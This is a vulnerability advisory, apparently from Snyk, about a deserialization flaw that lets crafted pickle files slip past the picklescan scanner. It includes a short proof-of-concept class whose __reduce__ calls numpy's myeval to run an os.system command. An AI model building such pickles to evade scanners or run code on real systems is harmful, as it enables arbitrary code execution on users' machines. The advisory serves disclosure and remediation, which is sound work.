Deserialization of Untrusted Data Affecting picklescan package, versions [,0.0.33)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.3% (22nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-14724493
  • published30 Dec 2025
  • disclosed29 Dec 2025
  • creditPinji Chen

Introduced: 29 Dec 2025

CVE-2025-71365  (opens in a new tab)
CWE-502  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.33 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to using the numpy.f2py.crackfortran.myeval function, which executes a remote pickle file. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function during deserialization.

PoC

class RCE:
    def __reduce__(self):
        from numpy.f2py.crackfortran import myeval
        return (myeval, ("os.system('ls')",))

CVSS Base Scores

version 4.0
version 3.1